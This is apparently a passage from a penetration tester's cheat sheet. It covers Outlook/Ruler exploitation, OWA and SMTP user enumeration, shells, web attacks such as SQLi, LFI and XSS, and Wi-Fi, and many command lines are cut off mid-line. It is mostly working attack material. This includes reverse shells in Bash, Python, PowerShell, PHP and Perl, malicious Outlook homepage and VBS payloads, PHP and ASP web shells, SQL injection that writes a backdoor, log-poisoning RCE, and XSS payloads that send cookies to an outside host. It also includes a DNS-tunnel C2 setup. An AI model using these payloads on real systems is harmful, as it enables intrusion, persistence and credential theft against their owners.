$ java -jar BaRMIe.jar -attack 10.10.13.37 1098

remote-method-guesser

https://github.com/qtc-de/remote-method-guesser

$ java -jar rmg-3.0.0-jar-with-dependencies.jar 10.10.13.37 1098 enum

rmiscout

https://github.com/BishopFox/rmiscout
Lync & Skype for Business

lyncsmash

https://github.com/nyxgeek/lyncsmash

$ python lyncsmash.py enum -H dialin.megacorp.com -U names.txt -p 'Passw0rd!' -d MEGACORP -o l

NTP
Network Time Protocol

NTP Amplification
Check:

$ ntpq -c rv 10.10.13.37

Outlook

Ruler

https://github.com/sensepost/ruler/releases

Rules

https://github.com/sensepost/ruler/wiki/Rules
https://silentbreaksecurity.com/malicious-outlook-rules/

Forms

https://github.com/sensepost/ruler/wiki/Forms
https://sensepost.com/blog/2017/outlook-forms-and-shells/

Display forms:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -


Exploit:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -

vbs-payload.txt :

CreateObject("WScript.Shell").Run "powershell -exec bypass -enc <BASE64_CMD>", 0, false

Cleanup:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -

Empire stager encryption:

$ grep -e output_type -e payload_type -e clean_output -e userdomain genetic.config


output_type = GO
payload_type = DLL_x64
clean_output = True

userdomain = 'MEGACORP'
$ python ebowla.py https443.dll genetic.config
$ ./build_x64_go.sh output/go_symmetric_https443.dll.go https443.exe --hidden

Homepage

https://github.com/sensepost/ruler/wiki/Homepage
https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/

Exploit:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -

homepage.html :

<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--
Sub window_onload()
Set Application = ViewCtl1.OutlookApplication
Set cmd = Application.CreateObject("Wscript.Shell")
cmd.Run("powershell -exec bypass -e <BASE64_CMD>")
End Sub
-->

</script>
</head>

<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100
</body>
</html>

Cleanup:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -

Stager encryption is the same as for Ruler/Forms.

OWA
Outlook Web Access

Enumerate Users

https://www.triaxiomsecurity.com/2019/03/15/vulnerability-walkthrough-timing-based-username-
enumeration/
https://www.intruder.io/blog/user-enumeration-in-microsoft-products-an-incident-waiting-to-happen

Authentication Request Kerberos Process Response Time

Non-existing realm KDC searches for realm 2-3 seconds

Realm exists but username does Pre-authentication ticket created


5-60 seconds
not exist to verify username

Pre-authentication ticket created


Realm and username exists < 2 seconds
to verify password

"Responses in different environments may have different response times but the pattern in the timing
response behavior still exist." (ref)

MSF

msf > use auxiliary/scanner/http/owa_login


msf
msf >
> set
set RHOST mx.megacorp.local
USER_FILE owa-users.txt
msf > set PASSWORD dummyPassword
msf > set THREADS 15
msf > run

MailSniper

https://github.com/dafthack/MailSniper

PS > Invoke-UsernameHarvestOWA -ExchHostname mx.megacorp.com -Domain MEGACORP -UserList .\owa-

Password Spray

Ruler

https://github.com/sensepost/ruler/wiki/Brute-Force#brute-force-for-credentials

Autodiscover URL implicit:

$ ./ruler -k -d megacorp.com brute --users users.txt --passwords passwords.txt --delay 35 --at

Autodiscover URL explicit:

$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -

Notes:

In users.txt there's only "username" on a line, not "DOMAIN\username".

Errors like ERROR: 04:27:43 brute.go:193: An error occured in connection -


Get https://autodiscover.megacorp.com/autodiscover/autodiscover.xml: Get
https://autodiscover.megacorp.com/autodiscover/autodiscover.xml:
net/http: request canceled do not affect the current password probe.

Enumerate NTLM

https://github.com/nyxgeek/ntlmscan
https://gist.github.com/aseering/829a2270b72345a1dc42
Nmap

$ sudo nmap -sV --script http-ntlm-info --script-args http-ntlm-info.root=/ews/ -p443 mx.megac

MSF

msf > use auxiliary/scanner/http/owa_login


msf > set AUTH_TIME false
msf > set RHOST mx.megacorp.local
msf > set USERNAME dummyUser
msf > set PASSWORD dummyPassword
msf > run

MailSniper

https://github.com/dafthack/MailSniper

PS > Invoke-DomainHarvestOWA -ExchHostname mx.megacorp.com

SharePoint

https://www.crummie5.club/the-lone-sharepoint/
https://www.zerodayinitiative.com/blog/2020/6/16/cve-2020-1181-sharepoint-remote-code-execution-
through-web-parts

SMTP
Simple Mail Transfer Protocol

Check if sender could be forged with an domain user:

$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>

Check if sender could be forged with a non-domain user:

$ telnet mail.example.com 25
HELO
MAIL example.com
FROM: <[email protected]>
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>

Check if domain users could be enumerated with VRFY and EXPN :

$ telnet mail.example.com 25
HELO example.com
VRFY [email protected]
EXPN [email protected]

Check if users could be enumerated with RCPT TO :

$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <...>
RCPT TO: <[email protected]>
DATA

From: <...>
To: <[email protected]>
Subject: Job offer
Hello, I would like to offer you a great job!
.
QUIT

RCPT

smtp-enum

https://github.com/z0mbiehunt3r/smtp-enum

$ ./main.py -d megacorp.com -s 10.10.13.37 -f accounts.txt -m rcptto -o valid.txt

smtp-user-enum

https://github.com/pentestmonkey/smtp-user-enum

$ smtp-user-enum -M RCPT -f '<[email protected]>' -u '<[email protected]>' -t mx.megacorp.c


$ smtp-user-enum -M RCPT -D megacorp.com -U users.txt -t mx.megacorp.com
SPF/DKIM/DMARC

https://postmarkapp.com/guides/spf

https://www.mailigen.ru/blog/chto-takoe-spf-dkim-i-dmarc-i-pochemu-oni-obyazatelno-dolzhny-byt-
propisany/

https://github.com/BishopFox/spoofcheck

Tools

swaks

https://github.com/jetmore/swaks

$ swaks --to [email protected] --from [email protected] --header 'Subject: Hello, frien

SSH
Secure Shell

Password spray with a private key and passphrase Passw0rd! using CME:

$ cme ssh 192.168.1.11 -u snovvcrash -p 'Passw0rd!' --key-file id_rsa

Enum Users
CVE-2018-15473

msf > use auxiliary/scanner/ssh/ssh_enumusers


msf > set CHECK_FALSE true
msf > set RHOSTS file:ssh.txt
msf > set THREADS 25
msf > set USERNAME root
msf > run

Subdomain Takeover
https://www.exploit-db.com/docs/46415

Shells

Upgrade to PTY

https://forum.hackthebox.eu/discussion/comment/22312#Comment_22312

https://xakep.ru/2019/07/16/mischief/#toc05.1

https://securixy.kz/hack-faq/apgrejd-reverse-shell-do-interaktivnogo-tty.html/

https://infosecwriteups.com/using-tmux-for-automating-interactive-reverse-shells-630260740af3

# Spawn PTY
$ if python3 -V > /dev/null 2>&1; then

python3 -c 'import pty; pty.spawn("/bin/bash")'


elif python -V > /dev/null 2>&1; then
python -c 'import pty; pty.spawn("/bin/bash")'
fi
Or
$ script -q /dev/null /bin/bash

# Background remote shell


user@remote:~$ ^Z

# Get rows and cols from local terminal


root@kali:~$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'

# Disable local output in terminal


root@kali:~$ stty raw -echo; fg

# (optional) Reset remote terminal


user@remote:~$ reset

# Set rows and columns for proper text aligning


user@remote:~$ stty rows ${ROWS} cols ${COLS}

# For CTRL-L to work


user@remote:~$ export TERM=xterm / xterm-color / xterm-256color

# (optional) Get Bash new process image


user@remote:~$ exec /bin/bash [-l]
http://www.jackson-t.ca/runtime-exec-payloads.html

ShellPop

https://github.com/0x00-0x00/ShellPop

Bash reverse TCP example:

$ shellpop -H 10.10.13.37 -P 9001 --reverse --number 8 --base64

pwncat

https://securixy.kz/hack-faq/pwncat-netcat-na-steroidah.html/
https://github.com/cytopia/pwncat

xxh

https://github.com/xxh/xxh

$ pipx install xxh-xxh


$ source xxh.zsh -i id_rsa [email protected] +I xxh-plugin-zsh-ohmyzsh +if [+q/+vv]
$ ssh -i id_cthulhu [email protected] -f "rm -rf .xxh"

Reverse Shells

https://securixy.kz/hack-faq/reverse-shell-ili-bjekkonnekt.html/
https://gist.github.com/daniruiz/c073f631d514bf38e516b62c48366efb

Bash

/bin/bash -c '/bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f

Python
IPv4

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LH
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<

IPv6

import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<L
import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>"

PowerShell

https://github.com/besimorhino/powercat

https://gist.github.com/staaldraad/8473da7f2dfed28b2216b15ca6ebad11
https://github.com/tihanyin/PSSW100AVB/blob/main/ReverseShell_2022_03.ps1

https://github.com/antonioCoco/ConPtyShell

$client = New-Object System.Net.Sockets.TCPClient("10.10.13.37",1337);$stream = $client.GetStr

$socket = new-object System.Net.Sockets.TcpClient("10.10.13.37",1337);


if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}

else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

#$a=New-Object System.Net.Sockets.TcpClient("10.10.13.37",1337);if($a -eq $null){exit 1}$b=$a

Download Cradles

https://gist.github.com/HarmJ0y/bb48307ffa663256e239
https://github.com/VirtualAlllocEx/Payload-Download-Cradles

PHP

<?php echo passthru("/bin/bash -c '/bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"); ?>


Perl
use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(conn

https://gitlab.com/ORCA666/sshell

Netcat

https://blog.ikuamike.io/posts/2021/netcat/

$ {nc.tradentional|nc|ncat|netcat} <LHOST> <LPORT> {-e|-c} /bin/bash

Meterpreter

unicorn

https://github.com/trustedsec/unicorn

$ python3 unicorn.py windows/meterpreter/reverse_https 10.10.13.37 443


$ sudo msfconsole -qr unicorn.rc
PS > IEX(New-Object Net.WebClient).DownloadString('powershell_attack.txt')

Listeners

$ {nc.tradentional|nc|ncat|netcat} [-6] -lvnp <LPORT>

Transport over DNS

https://xakep.ru/2018/09/07/dns-tunneling/
https://habr.com/ru/post/345056/
https://habr.com/ru/company/group-ib/blog/496712/

dnscat2

https://github.com/iagox86/dnscat2
https://github.com/lukebaggett/dnscat2-powershell

chashell

https://github.com/sysdream/chashell

Buy and configure DNS (e.g., c2cdomain.net ):

A * -> <IP>
A @ -> <IP>

A chashell -> <IP>


NS c -> chashell.c2cdomain.net

Get dependencies:

$ export GOPATH=/home/snovvcrash/code/go
$ export PATH=$GOPATH:$GOPATH/bin:$PATH
$ go get -v -u github.com/golang/dep/cmd/dep
$ go get github.com/mitchellh/gox
$ cd $GOPATH/src/github.com/golang/dep
$ go install ./...

Clone chashell into $GOPATH/src (otherwise, dep will error out):

$ git clone https://github.com/sysdream/chashell $GOPATH/src/chashell


$ cd $GOPATH/src/chashell

Build binaries:

$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))


$ export DOMAIN_NAME=c.c2cdomain.net
$ make build-all OSARCH="linux/amd64"

Run server on Attacker:

$ cd release/
$ sudo systemctl stop systemd-resolved
$ sudo ./chaserv_linux_amd64
Run client on Victim:

$ ./chashell_linux_amd64

Tools

https://www.revshells.com/

https://itm4n.github.io/tools/

VbRev

https://github.com/VbScrub/VbRev

xc

https://github.com/xct/xc

Listen:

$ rlwrap ./xc -l -p 443

Launch:

PS > Start-Process -NoNewWindow .\xc.exe "10.10.13.38 443"

Web Shells

PHP

https://stackoverflow.com/a/3697776

<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1');} ?>

ASP
JScript

Chinese chopper:

// Server-side
<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["cmd"],"unsaf
// Client-side
Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())

Web

[PDF] Frogy's Mindmap

Pentesting Web Applications Mindmap

Upgrade Burp

Downloads / Jython
Using Burp's Session Handling Rules with anti-CSRF Tokens - PortSwigger
Burp и его друзья / Блог компании Digital Security / Хабр

Прокачай свой Burp! 11 наиболее полезных плагинов к Burp Suite — «Хакер»


Шаг за шагом. Автоматизируем многоходовые атаки в Burp Suite — «Хакер»

Extensions

BApp Store:

ActiveScan++ Pro

Add Custom Header

Additional CSRF Checks

Additional Scanner Checks Pro


Attack Surface Detector
Backslash Powered Scanner Pro
Collaborator Everywhere Pro

CSRF Scanner Pro

Freddy, Deserialization Bug Finder Pro


HTTP Request Smuggler
IP Rotate

J2EEScan Pro

Java Deserialization Scanner Pro


Java Serialized Payloads
JS Link Finder Pro
JSON Beautifier

JSON Web Token Attacker


Logger++
SQLiPy Sqlmap Integration
SSL Scanner
Taborator Pro

WordPress Scanner

GitHub:

Femida XSS
SHELLING
Burp Vulners Scanner
HackBar
Tools

nikto

https://github.com/sullo/nikto

$ nikto -h http://127.0.0.1 -Cgidirs all

dnsrecon

https://github.com/darkoperator/dnsrecon

Perform reverse DNS lookup for IPs in subnet 10.10.10.0/24 with a name server at 192.168.1.11 :

$ dnsrecon -r 10.10.10.0/24 -n 192.168.1.11 -d DoesNotMatter

gobuster

https://github.com/OJ/gobuster/releases
https://blog.assetnote.io/2021/04/05/contextual-content-discovery/

$ gobuster dir -ku 'https://127.0.0.1' -w /usr/share/wordlists/dirbuster/directory-list[-lower


$ gobuster dir -ku 'https://127.0.0.1' -w /usr/share/seclists/Discovery/Web-Content/raft-small

wfuzz

https://github.com/xmendez/wfuzz
https://wfuzz.readthedocs.io/en/latest/

$ wfuzz -e encoders
$ wfuzz -c -u 'http://10.10.13.37/index.php?id=FUZZ' -w /usr/share/seclists/Fuzzing/4-digits-0
$ wfuzz -c -u 'http://10.10.13.37' --basic 'FUZZ:FUZ2Z' -w /usr/share/seclists/Usernames/top-u

ffuf

https://github.com/ffuf/ffuf
https://codingo.io/tools/ffuf/bounty/2020/09/17/everything-you-need-to-know-about-ffuf.html
aquatone

https://github.com/michenriksen/aquatone/releases

Default ports:

$ cat targets.txt | ./aquatone -ports 80,443,8000,8080,8443 -out 10.0-255.0-255.0-255

From Nmap XML:

$ ports=`cat nmap/tcp.gnmap | grep -ioP '\d+/open/tcp//http' | awk -F/ '{print $1}' | sort -u
$ cat targets.txt | ./aquatone -ports $ports -out 10.0-255.0-255.0-255_nmap
Or
$ cat nmap/tcp.xml | ./aquatone -out 10.0-255.0-255.0-255_nmap

amass

https://github.com/OWASP/Amass/releases

Об обнаружении субдоменов
snovvcrash@gh-pages:~$ _

$ amass intel -active -config config.ini -whois -df domains.txt -ipv4 -src -v -o intel.out
$ amass enum -active -brute -config config.ini -df domains.txt -ipv4 -src -v -o enum.out

subfinder

https://github.com/projectdiscovery/subfinder/releases

$ subfinder -all -config config.yaml -d hackerone.com -o subdomains.txt [-oI -nW]

shuffledns

https://github.com/projectdiscovery/shuffledns/releases

$ shuffledns -d hackerone.com -r /opt/dnsvalidator/resolvers.txt -w /usr/share/commonspeak2-wo

massdns

https://github.com/blechschmidt/massdns
https://github.com/vortexau/dnsvalidator

$ massdns -r /opt/dnsvalidator/resolvers.txt domains.txt -w domains-resolved.txt -o S

dnsx

https://github.com/projectdiscovery/dnsx

$ dnsx -l dns.txt -resp -a -aaaa -cname -mx -ns -soa -txt


$ dnsx -d megacorp.local -r 192.168.0.11,192.168.0.22 -w /usr/share/seclists/Discovery/DNS/..

chaos

https://github.com/projectdiscovery/chaos-client

$ chaos -d megacorp.com -key <API_KEY> -http-status-code -http-title -http-url -o chaos.out

nuclei
https://github.com/projectdiscovery/nuclei/releases

$ nuclei -update-templates
$ nuclei -l domains.txt -t cves/ -o nuclei.out

httpx

https://github.com/projectdiscovery/httpx/releases

$ httpx -l domains.txt -vhost -http2 -pipeline -title -content-length -status-code -follow-red

2FA Bypass

[XMind] 2FA Bypass Techniques Mindmap

LFI / RFI
Local / Remote File Inclusion

PHP RFI with SMB

http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html

/etc/samba/smb.conf :

log level = 3
[share]
comment = TEMP
path = /tmp/smb
writable = no
guest ok = yes
guest only = yes
read only = yes
browsable = yes
directory mode = 0555
force user = nobody

$ chmod 0555 /tmp/smb


$ chown -R nobody:nogroup /tmp/smb
$ service smbd restart
$ tail -f /var/log/samba/log.<HOSTNAME>
Log Poisoning

PHP

https://medium.com/bugbountywriteup/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899

https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1

Access log (needs single ' instead of double " ):

$ nc 127.0.0.1 80
GET /<?php system($_GET['cmd']); ?>

$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//access
Or
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//1&cmd=%2Fb

Error log:

$ curl -X POST 'http://127.0.0.1/vuln1.php' --form "userfile=@docx/sample.docx" --form 'submit


$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//error.l
Or
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//2&cmd=%2Fb

SOP / CORS
Same-Origin Policy / Cross-Origin Resource Sharing

https://portswigger.net/web-security/cors/same-origin-policy
https://portswigger.net/web-security/cors
https://github.com/RUB-NDS/CORStest

CORS Server
An HTTPS server with CORS header accepting connections from any domain in Flask:

cors.py
from flask import Flask, send_file
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

@app.route('/xss.js', methods=['GET'])
def xss():
return send_file('./xss.js', download_name='xss.js')

# openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem'))

SQLi
SQL Injection

MySQL

DIOS

https://defcon.ru/web-security/2320/
http://www.securityidiots.com/Web-Pentest/SQL-Injection/Dump-in-One-Shot-part-1.html

https://dba.stackexchange.com/questions/4169/how-to-use-variables-inside-a-select-sql-server
https://www.mssqltips.com/sqlservertip/6038/sql-server-derived-table-example/

id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (information_schem

SELECT (@a) FROM (


SELECT(@a:=0x00), (
SELECT (@a) FROM (information_schema.schemata)
WHERE (@a) IN (@a:=concat(@a,schema_name,'\n'))
)
) foo

id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (mytable.users) WH

Truncation Attack

SQL Truncation Attack Video


POST /index.php HTTP/1.1
Host: 127.0.0.1

name=snovvcrash&email=admin%example.com++++++++++11&password=qwe12345

Commas blocked by WAF

id=-1' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from mysql.innodb_table_stats)b

Write File

id=1' UNION ALL SELECT 1,2,3,4,"<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1')


id=1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '/var/www/html/backdoor.php' LINES TERMINATED BY 0

Read File

id=1' UNION ALL SELECT LOAD_FILE('c:\\xampp\\htdocs\\admin\\db.php'),2,3-- -

MS SQL

https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/

sqlmap
Usage · sqlmapproject/sqlmap Wiki

PayloadsAllTheThings/SQL Injection

Write file:

$ sqlmap -r request.req --batch --file-write=./backdoor.php --file-dest=C:/Inetpub/wwwroot/bac

Test WAF:

https://www.1337pwn.com/use-sqlmap-to-bypass-cloudflare-waf-and-hack-website-with-sql-injection/

$ sqlmap.py -u 'https://127.0.0.1/index.php' --data='{"id":"*"}' -p id --identify-waf --tamper

WAF

Web Application Firewall

Enum WAF:

$ nmap -sV --script http-waf-detect 127.0.0.1 -p80


$ nmap -sV --script http-waf-fingerprint 127.0.0.1 -p80
+ wafw00f.py

WordPress

https://www.hackingarticles.in/wordpress-reverse-shell/

Malicious Plugin
Write a web shell with a malicious plugin.

Copy a plugin shell from SecLists and zip it:

$ cp /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php .
$ zip plugin-shell.zip plugin-shell.php
Upload plugin-shell.zip (Plugins > Add New) and install it (Upload Plugin > Browse... > Install Now)
b td t ti t ! N th b h ll
$ curl 'http://10.10.13.37/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami'

wpscan

https://github.com/wpscanteam/wpscan

https://wpscan.com/profile

$ wpscan --url http://10.10.13.37/wp/ --api-token <API_TOKEN> --force -e ap [--plugins-detecti


$ wpscan --url http://10.10.13.37/wp/ --api-token <API_TOKEN> --force --passwords /usr/share/s

XSS
Cross-Site Scripting

Ultimate checker: '"/><script>print()</script> .

Redirections

https://developer.mozilla.org/ru/docs/Web/HTTP/Redirections

<head>
<meta http-equiv="refresh" content="0; URL=http://www.example.com/" />
</head>

Data Grabbers

Cookies

https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies

Img tag:

<img src="x" onerror="this.src='http://10.10.15.123/?c='+btoa(document.cookie)">


Fetch:

<script>
fetch('https://<SESSION>.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>

XMLHttpRequest

XSS to LFI

https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html

<script>
var xhr = new XMLHttpRequest;
xhr.onload = function() {
document.write(this.responseText);
};
xhr.open("GET", "file:///etc/passwd");
xhr.send();
</script>

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText);};x.open("G

XSS to CSRF

https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf

If the endpoint is accessible only from localhost:

<script>
var xhr;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.open("POST", "/backdoor.php");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("cmd=powershell -enc ...");
</script>

With capturing CSRF token first:

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('GET', '/email', true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('POST', '/email/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>

Wi-Fi

https://www.aircrack-ng.org/doku.php?id=newbie_guide
https://defkey.com/airodump-ng-shortcuts
https://xakep.ru/2020/01/27/wifi-total-pwn/

Could not load image

Pentesting Wi-Fi Mindmap


Hardware

TP-Link TL-WN722N v2/v3

https://github.com/aircrack-ng/rtl8188eus/tree/v5.3.9

https://codeby.net/threads/gajd-2020-po-zapusku-rezhima-monitora-v-tp-link-tl-wn722n-v2-v3-kali-linux-
wardriving.70594/

Chipset: TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS].

